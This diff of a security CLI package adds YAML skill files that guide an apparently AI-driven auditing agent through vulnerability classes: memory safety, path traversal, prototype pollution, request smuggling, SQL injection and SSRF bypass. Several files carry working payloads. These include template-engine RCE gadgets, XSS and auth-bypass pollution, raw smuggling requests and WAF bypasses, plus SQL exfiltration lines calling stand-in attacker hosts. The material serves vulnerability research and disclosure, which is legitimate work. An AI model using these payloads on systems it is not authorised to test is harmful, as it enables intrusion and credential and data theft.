0sec-cli 0.15.0 → 0.17.0

package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml

@@ -0,0 +1,93 @@
+id: native-memory-safety
+name: "Native (C/C++) Memory Safety"
+description: "Untrusted-length parsing, OOB read/write, integer overflow, and use-after-free in C/C++ and kernel code — the class behind our accepted kernel 0-days (UAF, stack-overflow) and bluez/bitlbee overflows. Targets the highest-value attack surface: parsers of attacker-controlled binary input."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - memory-safety
+  - buffer-overflow
+  - out-of-bounds
+  - use-after-free
+  - integer-overflow
+  - c
+  - cpp
+  - kernel
+  - parser
+triggers:
+  - "buffer.?overflow|out.?of.?bounds|oob|use.?after.?free|uaf"
+  - "memcpy|memmove|strcpy|strcat|sprintf|alloca"
+  - "malloc|kmalloc|kzalloc|calloc|realloc|free\\(|kfree"
+  - "len|length|size|count|nmemb"
+  - "\\[.*\\]\\s*=|->\\w+\\[|stack.?buf|on.?stack"
+  - "recv|read\\(|parse|decode|deserialize|unmarshal"
+  - "socks|tlv|packet|header|record|frame|chunk"
+  - "skb|sk_buff|refcount|kref|put_device|netns"
+  - "\\.c\\b|\\.cc\\b|\\.cpp\\b|\\.h\\b"
+estimated_tokens: 1000
+content: |
+  ## Native (C/C++ / Kernel) Memory-Safety Methodology
+
+  This class produced our highest-value, externally-ACCEPTED findings (Linux
+  kernel UAF + stack-overflow 0-days, bluez/bitlbee overflows). The target is
+  always the same: **code that parses attacker-controlled binary input using a
+  length/count it doesn't fully trust-check.**
+
+  ### Phase 1: Find the untrusted-input parsers (highest-value surface)
+  Prioritize functions that read network/file/IPC data and walk it by a
+  length field:
+  - Protocol response/record parsers (SOCKS bound-address, TLV, ASN.1, packet
+    headers, snoop/pcap records, font/image chunk tables).
+  - `recv`/`read` loops that compute a `resp_len`/`record_len` from the FIRST
+    bytes and then read/copy that many more.
+  - Kernel: netlink/socket parsers, codec/driver ioctls, `skb` handling.
+
+  ### Phase 2: The bug patterns (what to actually check)
+  - **Trusting a length field**: `len = buf[4]; memcpy(dst, src, len)` where
+    `len` is attacker-controlled and `dst` is fixed-size → overflow. (bluez
+    btsnoop: *"trusts record length fields → stack buffer overflow."*)
+  - **Off-by-one / missing bound**: index `<=` instead of `<`, NUL terminator
+    not counted, `+1`/`-1` errors near a boundary.
+  - **Integer overflow → undersized alloc**: `malloc(count * size)` or
+    `len + hdr` wraps on a 32-bit/`size_t` boundary → small alloc, big write.
+    Check every arithmetic on an attacker-influenced length BEFORE the alloc.
+  - **Append/concat without remaining-space check**: `twitter_url_append()`
+    style — appends untrusted data into a buffer without checking space left
+    (bitlbee: heap buffer overflow via this).
+  - **Use-after-free** (kernel gold): an object freed on one path (error/
+    teardown/refcount-drop) then dereferenced on another — race in
+    init/cleanup, double `put`, freed `skb`/`dst` reused, `netns` teardown vs
+    in-flight work. Map the alloc → free → use triangle across call paths.
+
+  ### Phase 3: Validate the bound is actually missing
+  For a length-driven copy, find: where does the length come from, what bounds
+  it (a `min()`, a `if(len > sizeof buf) fail`, a growable buffer), and does the
+  check happen on the SAME value that's later used? Modern code often uses a
+  growable buffer (`Curl_bufq`, dynbuf) + re-checks `have >= need` — that is
+  SAFE even though it looks scary. Read the WHOLE function (if the file tool
+  truncates a large file, page through it — do not conclude from the first
+  screen).
+
+  ### Phase 4: Confirm before save_finding
+  - Show the source (untrusted length/data) → the unchecked copy/free/use, with
+    file:line, and why the surrounding checks don't cover the value.
+  - For UAF: the alloc site, the free site, the use site, and the path/race that
+    orders free-before-use.
+  - PoC: a crafted input (and, for kernel, a syzlang/C repro under the verify
+    sandbox) that triggers an ASAN/KASAN splat. A decoded sanitizer report is
+    the gold standard.
+
+  ### Anti-false-positive checklist
+  - Is the destination fixed-size, or a growable/exact-sized alloc?
+  - Is the length re-checked against remaining space on the value actually used?
+  - Is the "freed" object really reachable after free on a real path?
+  Bounded copy into a sized buffer with a correct check = NOT a finding. Curl's
+  `socks5_recv_resp1` is the textbook *safe* example (resp_len ≤ 262, growable
+  bufq, re-checked) — recognizing safe code is as important as finding bugs.
+
+  ### Real wins from this engine
+  - Linux kernel: ACCEPTED UAF and stack-overflow 0-days (the highest-value
+    output the engine has produced).
+  - bluez btsnoop: stack buffer overflow from trusting record length fields.
+  - bitlbee `twitter_url_append()`: heap buffer overflow via untrusted input.

package/chunks/agent/skills/vulnerabilities/path-traversal.yaml

@@ -0,0 +1,78 @@
+id: path-traversal
+name: "Path Traversal & Arbitrary File Write"
+description: "Untrusted path components escaping a base directory — on read (file disclosure) and especially on WRITE (zip-slip, archive extraction, download-to-path → RCE). Verified in cloudflare/wrangler and trustwallet WASM keystore."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - path-traversal
+  - directory-traversal
+  - zip-slip
+  - arbitrary-file-write
+  - lfi
+  - archive-extraction
+triggers:
+  - "path.?travers|directory.?travers|zip.?slip"
+  - "\\.\\./|%2e%2e|\\.\\.\\\\"
+  - "path\\.join|path\\.resolve|os\\.path\\.join"
+  - "extract|unzip|untar|decompress|adm-zip|tar\\b"
+  - "writeFile|writeFileSync|createWriteStream|fs\\.write|open\\(.*['\"]w"
+  - "readFile|sendFile|res\\.download|createReadStream"
+  - "basename|normalize|sanitize.?path"
+  - "entry\\.name|filename|fileName|member"
+  - "__from-dash|init|template|scaffold"
+estimated_tokens: 850
+content: |
+  ## Path Traversal & Arbitrary File Write Methodology
+
+  Two flavors, very different impact:
+  - **Read traversal** → file disclosure (config, keys, `/etc/passwd`). Medium-ish.
+  - **Write traversal** → arbitrary file write → **RCE** (overwrite a startup
+    script, `.bashrc`, a `.js`/`.py` that gets required, an authorized_keys, a
+    cron). High/critical. *Prioritize write sinks.*
+
+  ### Phase 1: Find the path sinks
+  - **Read**: `sendFile`, `res.download`, `fs.readFile`/`createReadStream`,
+    template loaders, static file handlers keyed on a request param.
+  - **Write**: `fs.writeFile`/`createWriteStream`, `fs.mkdir`, archive extraction
+    (`adm-zip`, `tar`, `unzip`, `decompress`), download-to-path, scaffolders
+    (`init`/`template`/`--from-dash`), log/cache writers keyed on input.
+
+  ### Phase 2: The traversal vectors
+  - Classic `../../../etc/passwd`; encoded `%2e%2e%2f`, double-encoded `%252e`,
+    UTF-8 overlong; Windows `..\\` and mixed `..%5c`.
+  - **Absolute-path injection** — input is `/etc/cron.d/x` (no `../` needed) and
+    the sink does `path.join(base, input)` where an absolute `input` *replaces*
+    base (Node `path.join('/safe','/etc/x')` → `/safe/etc/x`, but
+    `path.resolve` with an absolute escapes entirely — know the difference).
+  - **Zip-slip** — an archive member named `../../x` written during extraction
+    without re-checking the resolved path stays under the target dir.
+  - **Symlink in archive** — a member that's a symlink to `/`, then a follow-up
+    member writes "through" it.
+
+  ### Phase 3: Defeat the guard
+  Common broken guards: `replace('../','')` (non-recursive → `....//`), checking
+  the raw input not the *resolved* path, `basename()` only on the last component,
+  decode-after-check. The correct guard is: resolve to an absolute path THEN
+  assert it `startsWith(baseDir + sep)`. If that's missing or done before
+  decoding, it's bypassable.
+
+  ### Phase 4: Confirm before save_finding
+  - Show the untrusted path component → sink (file:line), and that the resolved
+    path escapes the base. For write, name the file you'd overwrite and the RCE/
+    impact it yields.
+  - PoC: the exact traversal string + (sandbox) a write landing outside the base
+    dir, or a read returning out-of-tree content.
+
+  ### Anti-false-positive checklist
+  - Does the code resolve-then-check `startsWith(base)`? Is `entry.name`
+    re-validated against the resolved target during extraction?
+  - Is the path actually request-controlled vs a fixed server path?
+  Correct resolve+prefix check = NOT traversable. Don't save it.
+
+  ### Real wins from this engine
+  - cloudflare/wrangler `init --from-dash`: path traversal via a crafted
+    worker/script name → file write outside the project dir.
+  - trustwallet WASM KeyStore FileSystemStorage: path traversal in the storage
+    key.

package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml

@@ -0,0 +1,132 @@
+id: prototype-pollution
+name: "JavaScript Prototype Pollution"
+description: "Prototype pollution via __proto__, constructor.prototype, and Object.assign — with gadget chains for RCE, XSS, privilege escalation, and auth bypass."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - prototype-pollution
+  - javascript
+  - nodejs
+  - rce
+  - xss
+  - auth-bypass
+  - gadget-chain
+triggers:
+  - "__proto__"
+  - "constructor\\.prototype"
+  - "Object\\.assign"
+  - "merge\\("
+  - "deepmerge"
+  - "lodash"
+  - "\\.extend\\("
+  - "prototype.*pollut"
+  - "node_modules"
+  - "express"
+  - "application/json"
+estimated_tokens: 900
+content: |
+  ## JavaScript Prototype Pollution Methodology
+
+  ### Phase 1: Identify Merge/Assign Sinks
+  Look for endpoints that accept JSON and merge it into objects:
+  - `Object.assign(target, userInput)`
+  - `_.merge(target, userInput)` / `_.defaultsDeep(target, userInput)` (lodash)
+  - `$.extend(true, target, userInput)` (jQuery)
+  - Custom recursive merge functions: `deepMerge`, `deepExtend`, `defaults`
+  - Any endpoint accepting nested JSON that gets merged into config/options
+
+  ### Phase 2: Detection Payloads
+  Send via JSON body to merge-capable endpoints:
+
+  **Via `__proto__`:**
+  ```json
+  {"__proto__": {"polluted": "yes"}}
+  ```
+
+  **Via `constructor.prototype`:**
+  ```json
+  {"constructor": {"prototype": {"polluted": "yes"}}}
+  ```
+
+  **Verification**: access a new empty object's `.polluted` property — if it returns `"yes"`, pollution succeeded. In a web context, check if subsequent API responses include unexpected `polluted` fields.
+
+  ### Phase 3: Server-Side RCE Gadgets (Node.js)
+
+  **child_process.spawn/exec via shell option:**
+  ```json
+  {"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}
+  ```
+
+  **child_process.fork via NODE_OPTIONS:**
+  ```json
+  {"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}
+  ```
+
+  **EJS template RCE (Express + EJS):**
+  ```json
+  {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
+  ```
+  Then trigger any template render — the injected function name executes as code.
+
+  **Pug template RCE:**
+  ```json
+  {"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
+  ```
+
+  **Handlebars RCE:**
+  ```json
+  {"__proto__": {"main": "\n return process.mainModule.require('child_process').execSync('id').toString()\n"}}
+  ```
+
+  ### Phase 4: Client-Side XSS Gadgets
+
+  **innerHTML/outerHTML pollution:**
+  ```json
+  {"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
+  ```
+
+  **jQuery $.html() gadget:**
+  ```json
+  {"__proto__": {"div": ["<img src=x onerror=alert(1)>"]}}
+  ```
+
+  **DOM clobbering via prototype:**
+  ```json
+  {"__proto__": {"src": "javascript:alert(1)", "href": "javascript:alert(1)"}}
+  ```
+
+  ### Phase 5: Auth Bypass and Privilege Escalation
+
+  **isAdmin / role pollution:**
+  ```json
+  {"__proto__": {"isAdmin": true}}
+  {"__proto__": {"role": "admin"}}
+  {"__proto__": {"admin": true}}
+  {"__proto__": {"verified": true}}
+  ```
+  If the app checks `user.isAdmin` and that property is not explicitly set on the user object, it inherits from the polluted prototype.
+
+  **JWT verification bypass:**
+  ```json
+  {"__proto__": {"algorithms": ["none"]}}
+  ```
+  Pollutes the jsonwebtoken verify options — accepts `alg: none` tokens.
+
+  ### Phase 6: Detection in Source Code Review
+  Grep for dangerous patterns:
+  ```
+  grep -rn "Object.assign\|\.merge(\|deepmerge\|defaultsDeep\|\.extend(" --include="*.js" --include="*.ts"
+  grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts"
+  ```
+  Check if any of these functions receive user-controlled input (req.body, req.query, parsed JSON).
+
+  ### Phase 7: Recursive Exploitation Strategy
+  1. Find a JSON merge endpoint (POST/PUT/PATCH with JSON body)
+  2. Test with `{"__proto__": {"testprop": "1"}}` and check if other endpoints reflect `testprop`
+  3. If confirmed, escalate via the most impactful gadget:
+     - EJS/Pug/Handlebars → RCE (check which template engine is in package.json)
+     - Auth check on prototype property → privilege escalation
+     - DOM rendering with user data → XSS
+  4. For proof, prefer `id` / `whoami` output via RCE gadgets, or admin panel access via auth bypass

package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml

@@ -0,0 +1,129 @@
+id: request-smuggling
+name: "HTTP Request Smuggling"
+description: "CL.TE, TE.CL, TE.TE, and H2 downgrade smuggling detection and exploitation"
+version: 1
+applicable_roles: [attack, audit]
+tags: [request-smuggling, http, desync, cl-te, te-cl, h2, proxy, smuggling]
+triggers:
+  - "Transfer-Encoding"
+  - "CL\\.TE"
+  - "TE\\.CL"
+  - "TE\\.TE"
+  - "desync"
+  - "smuggl"
+  - "HAProxy"
+  - "Apache Traffic Server"
+  - "nginx/1\\.[0-9]\\."
+  - "front.?end.*back.?end"
+  - "reverse.proxy"
+  - "HTTP/2.*downgrade"
+  - "h2c"
+  - "keep-alive"
+estimated_tokens: 700
+content: |
+  ## HTTP Request Smuggling
+
+  ### Concept
+  Smuggling exploits disagreements between a front-end proxy and back-end server about where one HTTP request ends and the next begins. The attacker's "smuggled" suffix is treated as the start of the next request by the back-end.
+
+  ### Step 1: Timing-Based Detection (Safe First Step)
+  Send ambiguous requests and measure response timing. A vulnerable server stalls on the smuggled incomplete request.
+
+  **CL.TE probe** (front-end trusts Content-Length, back-end trusts Transfer-Encoding):
+  ```
+  POST / HTTP/1.1
+  Host: target
+  Content-Length: 4
+  Transfer-Encoding: chunked
+
+  1
+  A
+  X
+  ```
+  If the back-end hangs waiting for the next chunk, CL.TE is confirmed.
+
+  **TE.CL probe** (front-end trusts TE, back-end trusts CL):
+  ```
+  POST / HTTP/1.1
+  Host: target
+  Content-Length: 6
+  Transfer-Encoding: chunked
+
+  0
+
+  X
+  ```
+  If the back-end reads "X" as part of this request but the front-end already ended it, TE.CL is confirmed.
+
+  ### Step 2: Exploitation Payloads
+
+  **CL.TE — smuggle a prefix** (back-end sees SMUGGLED as start of next request):
+  ```
+  POST / HTTP/1.1
+  Host: target
+  Content-Length: 13
+  Transfer-Encoding: chunked
+
+  0
+
+  SMUGGLED
+  ```
+
+  **TE.CL — smuggle with chunked prefix**:
+  ```
+  POST / HTTP/1.1
+  Host: target
+  Content-Length: 4
+  Transfer-Encoding: chunked
+
+  5c
+  GPOST / HTTP/1.1
+  Host: target
+  Content-Length: 15
+
+  x=1
+  0
+
+  ```
+
+  **H2.CL downgrade** (front-end HTTP/2, back-end HTTP/1.1):
+  - Send HTTP/2 request with a `Content-Length` header that disagrees with the actual body length
+  - The front-end forwards via H1 to back-end; surplus bytes become the next request
+  - Also try `Transfer-Encoding: chunked` in H2 frames (should be illegal but some proxies forward it)
+
+  ### Step 3: TE Header Obfuscation (TE.TE Variant)
+  When both servers honor Transfer-Encoding, trick one into ignoring it:
+  - `Transfer-Encoding: xchunked`
+  - `Transfer-Encoding : chunked` (space before colon)
+  - `Transfer-Encoding:\x0bchunked` (vertical tab)
+  - `Transfer-encoding: chunked\r\nTransfer-encoding: x` (duplicate with second invalid)
+  - `TRANSFER-ENCODING: chunked` (case variation)
+  - `Transfer-Encoding: chunked\r\nTransfer-Encoding: identity`
+
+  ### Step 4: Confirming Exploitability
+  - Smuggle a `GET /known-404-path` — if the next legitimate request returns that 404, confirmed.
+  - Smuggle `GET /admin HTTP/1.1\r\nHost: target\r\nX:` — admin content leaking to other users proves request boundary confusion.
+  - Smuggle a request that reflects headers — capture another user's cookies/auth tokens.
+
+  ### Step 5: Impact Escalation
+  - **Auth bypass**: smuggle requests to `/admin` or internal-only endpoints behind the proxy.
+  - **Cache poisoning**: smuggle a request whose response poisons the CDN cache for other users.
+  - **Credential theft**: smuggle a partial request so the next user's request body appends to yours.
+  - **Request routing bypass**: cross virtual-host boundaries by smuggling a different Host header.
+
+  ### Tooling
+  - **Python raw sockets** (when curl normalizes headers):
+    ```python
+    import socket
+    s = socket.socket(); s.connect((host, 80))
+    s.send(b"POST / HTTP/1.1\r\nHost: x\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED")
+    print(s.recv(4096))
+    ```
+  - **smuggler.py** (defparam/smuggler): automated CL.TE/TE.CL/TE.TE detection.
+  - `curl --http1.1 --raw` for manual probe construction.
+  - Must use keep-alive connections — send two requests back-to-back on the same socket.
+
+  ### Gotchas
+  - Many CDNs (Cloudflare, Akamai) patched classic smuggling — focus on custom proxies (old HAProxy, nginx 1.x, Apache Traffic Server).
+  - HTTP/2 smuggling requires the proxy to downgrade to HTTP/1.1 for the back-end.
+  - Some servers reject requests with both CL and TE — that itself is a good sign (properly patched).

package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml

@@ -0,0 +1,102 @@
+id: sqli-advanced
+name: "Advanced SQL Injection"
+description: "Blind, time-based, OOB, second-order, and WAF-bypass SQL injection techniques across MySQL, PostgreSQL, MSSQL, and SQLite."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - sqli
+  - blind-sqli
+  - time-based
+  - oob
+  - second-order
+  - waf-bypass
+  - database
+triggers:
+  - "SQL syntax"
+  - "mysql_fetch"
+  - "sqlite3?\\."
+  - "pg_query"
+  - "ORA-\\d{5}"
+  - "unclosed quotation mark"
+  - "UNION\\s+SELECT"
+  - "information_schema"
+  - "SLEEP\\("
+  - "pg_sleep"
+  - "BENCHMARK\\("
+  - "WAITFOR DELAY"
+  - "blind.*sql"
+  - "sql.*error"
+estimated_tokens: 850
+content: |
+  ## Advanced SQL Injection Methodology
+
+  ### Phase 1: Injection Point Discovery
+  - Test every parameter (GET, POST, headers, cookies, JSON keys) with canary payloads:
+    - String context: `' OR 'a'='a`, `" OR "a"="a`, `' AND '1'='2`
+    - Numeric context: `1 OR 1=1`, `1 AND 1=2`, `0 OR 1=1`
+    - Comment variants: `--`, `-- -`, `#`, `/**/`, `;%00`
+  - Compare response length/content between true and false conditions
+  - Check error messages — they leak the DB engine and query structure
+
+  ### Phase 2: DB Engine Fingerprinting
+  - MySQL: `SELECT @@version`, `SELECT version()`, error contains "MySQL"
+  - PostgreSQL: `SELECT version()`, error contains "pg_" or "PostgreSQL"
+  - MSSQL: `SELECT @@version`, error contains "Microsoft" or "ODBC"
+  - SQLite: `SELECT sqlite_version()`, error contains "SQLITE" or "no such column"
+  - Oracle: `SELECT banner FROM v$version`, error contains "ORA-"
+
+  ### Phase 3: Blind SQLi — Boolean-Based
+  When no output is visible but responses differ between true/false:
+  ```
+  ' AND 1=1-- -    → normal response (true)
+  ' AND 1=2-- -    → different response (false)
+  ```
+  Extract data one character at a time:
+  ```
+  ' AND SUBSTRING((SELECT current_user()),1,1)='a'-- -
+  ' AND ASCII(SUBSTRING((SELECT current_user()),1,1))>64-- -
+  ```
+  Binary search: bisect ASCII range 32-126 to extract each character in ~7 requests.
+
+  ### Phase 4: Blind SQLi — Time-Based
+  When boolean differences are not observable:
+  - MySQL: `' AND IF(1=1,SLEEP(3),0)-- -`
+  - MySQL heavy: `' AND BENCHMARK(5000000,MD5('x'))-- -`
+  - PostgreSQL: `'; SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -`
+  - MSSQL: `'; WAITFOR DELAY '0:0:3'-- -`
+  - SQLite: `' AND (SELECT CASE WHEN (1=1) THEN randomblob(100000000) ELSE 0 END)-- -`
+  Measure response time delta: 3s+ delay confirms execution.
+
+  ### Phase 5: Out-of-Band (OOB) Exfiltration
+  When time-based is unreliable or blocked:
+  - MySQL DNS exfil: `' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',( SELECT current_user()),'.attacker.com\\\\a'))-- -`
+  - MySQL file write: `' UNION SELECT 'data' INTO OUTFILE '/tmp/proof.txt'-- -`
+  - PostgreSQL: `'; COPY (SELECT current_user()) TO PROGRAM 'curl http://ATTACKER/?d=$(whoami)'-- -`
+  - MSSQL xp_dirtree: `'; EXEC master..xp_dirtree '\\\\\\\\attacker.com\\\\a'-- -`
+
+  ### Phase 6: Second-Order SQLi
+  Payload stored now, triggered later in a different query:
+  1. Register/update a field with: `admin'-- -` as username
+  2. Trigger a password reset or profile lookup that uses the stored value
+  3. The stored payload executes in the second query context
+  Common sinks: username fields, address fields, search history, log entries
+
+  ### Phase 7: WAF Bypass Techniques
+  - Inline comments: `/*!50000UNION*/+/*!50000SELECT*/`
+  - Case variation: `uNiOn SeLeCt`
+  - Double URL encoding: `%2527` decodes to `%27` then to `'`
+  - Whitespace alternatives: `/**/`, `%09`, `%0a`, `%0d`, `+`
+  - Concatenation: `CONCAT(0x41,0x42)` instead of `'AB'`
+  - No-quotes numeric injection: `1 UNION SELECT 1,2,3`
+  - HTTP parameter pollution: `?id=1&id=' UNION SELECT 1-- -`
+  - JSON/XML body when form expected — different parser, different escaping
+
+  ### Phase 8: Data Extraction Strategy
+  Once injection confirmed, extract minimal non-sensitive proof:
+  1. `SELECT current_user()` — proves auth context
+  2. `SELECT table_name FROM information_schema.tables LIMIT 5` — proves data access
+  3. `SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 5`
+  4. Extract one non-sensitive row as proof of unauthorized data access
+  Do NOT dump entire databases — extract the minimum needed to prove impact.

package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml

@@ -0,0 +1,84 @@
+id: ssrf-bypass
+name: "SSRF & SSRF-Filter Bypass"
+description: "Server-side request forgery and, more importantly, bypasses of the SSRF guards apps already have — redirect-follow, DNS rebinding, parser confusion, and absolute-URL injection. Verified in openai-node (bearer-cred leak) and vercel/ai."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - ssrf
+  - request-forgery
+  - dns-rebinding
+  - redirect
+  - url-parsing
+  - metadata
+  - credential-leak
+triggers:
+  - "ssrf"
+  - "fetch\\(|axios|got\\(|request\\(|httpx|requests\\.get|urllib"
+  - "redirect"
+  - "follow.?redirect"
+  - "new URL\\(|URL\\.parse|urlparse"
+  - "allowlist|allow.?list|blocklist|deny.?list"
+  - "169\\.254\\.169\\.254|metadata"
+  - "localhost|127\\.0\\.0|0\\.0\\.0\\.0|::1"
+  - "private.?ip|is.?private|isPrivate"
+  - "webhook|callback.?url|image.?url|download.?url|proxy"
+  - "baseURL|base_url"
+estimated_tokens: 900
+content: |
+  ## SSRF & SSRF-Filter-Bypass Methodology
+
+  The high-value finding is rarely "the app fetches a user URL with no checks."
+  It's "the app HAS an SSRF guard and the guard is bypassable" — that's what
+  maintainers accept (and what we verified in openai-node + vercel/ai).
+
+  ### Phase 1: Find the outbound-fetch sinks + their guard
+  Locate where the server makes a request to a URL influenced by input:
+  webhooks, image/avatar fetch, link preview, import-from-URL, `baseURL`
+  override, OAuth/OIDC discovery, PDF/screenshot renderers. Then find the
+  guard: an allowlist, a `isPrivateIP()` check, a scheme filter, a host regex.
+
+  ### Phase 2: Bypass the guard (the actual bug)
+  - **TOCTOU via redirect** — guard validates the initial URL, then the client
+    *follows a redirect* to an internal target. (Check: is the redirect target
+    re-validated? `maxRedirects`/`follow` with no per-hop check = bypass.)
+  - **DNS rebinding / resolution gap** — guard resolves+checks the host, but the
+    HTTP client re-resolves at connect time → attacker flips the A record to
+    `169.254.169.254` between check and use. (vercel/ai shape: "DNS resolution
+    gap in private-IP protection.")
+  - **Absolute-URL injection** — a method that takes a *path* also accepts an
+    absolute URL, so a relative-looking input escapes the configured `baseURL`
+    to an attacker host — and the client sends its **Authorization/bearer
+    header** along (openai-node shape: client leaks creds to an attacker server).
+  - **Parser confusion** — `new URL()` vs the HTTP client disagree on host:
+    `http://allowed@evil/`, `http://evil#@allowed/`, `http://evil\@allowed`,
+    backslashes, fragments, embedded credentials, IPv6 brackets, decimal/octal/
+    hex IPs (`0x7f000001`, `2130706433`), trailing dots.
+  - **Scheme smuggling** — `file://`, `gopher://`, `dict://`, `http://[::]` when
+    only `https?` was assumed.
+
+  ### Phase 3: Impact — what makes it high/critical
+  - Reaches cloud metadata (`169.254.169.254` → IAM creds) or internal services.
+  - **Leaks the client's own credentials** (bearer/cookie) to the attacker host
+    — this is the openai-node finding and it's high-severity on its own.
+  - Internal port scan / blind SSRF with timing oracle.
+
+  ### Phase 4: Confirm before save_finding
+  - Show the guard code AND the exact bypass (the redirect/rebind/parse case),
+    file:line for both. "There's a fetch" is not a finding — the bypass is.
+  - Demonstrate the request leaving to an attacker-controlled host (or the creds
+    on it). A captured request to a canary host is the proof.
+
+  ### Anti-false-positive checklist
+  - Is the redirect target re-validated per hop? Is resolution pinned (resolve
+    once, connect to that IP)? Is the header stripped on cross-origin redirect?
+  - Is the URL actually attacker-controlled, or a fixed config value?
+  If the guard re-checks every hop and pins the resolved IP, it's NOT bypassable
+  — don't save it.
+
+  ### Real wins from this engine
+  - openai-node: client sends bearer credentials to an attacker-controlled host
+    via absolute-URL / public-method path injection.
+  - vercel/ai: download-URL SSRF protection bypassed via redirect + a DNS
+    resolution gap in the private-IP check.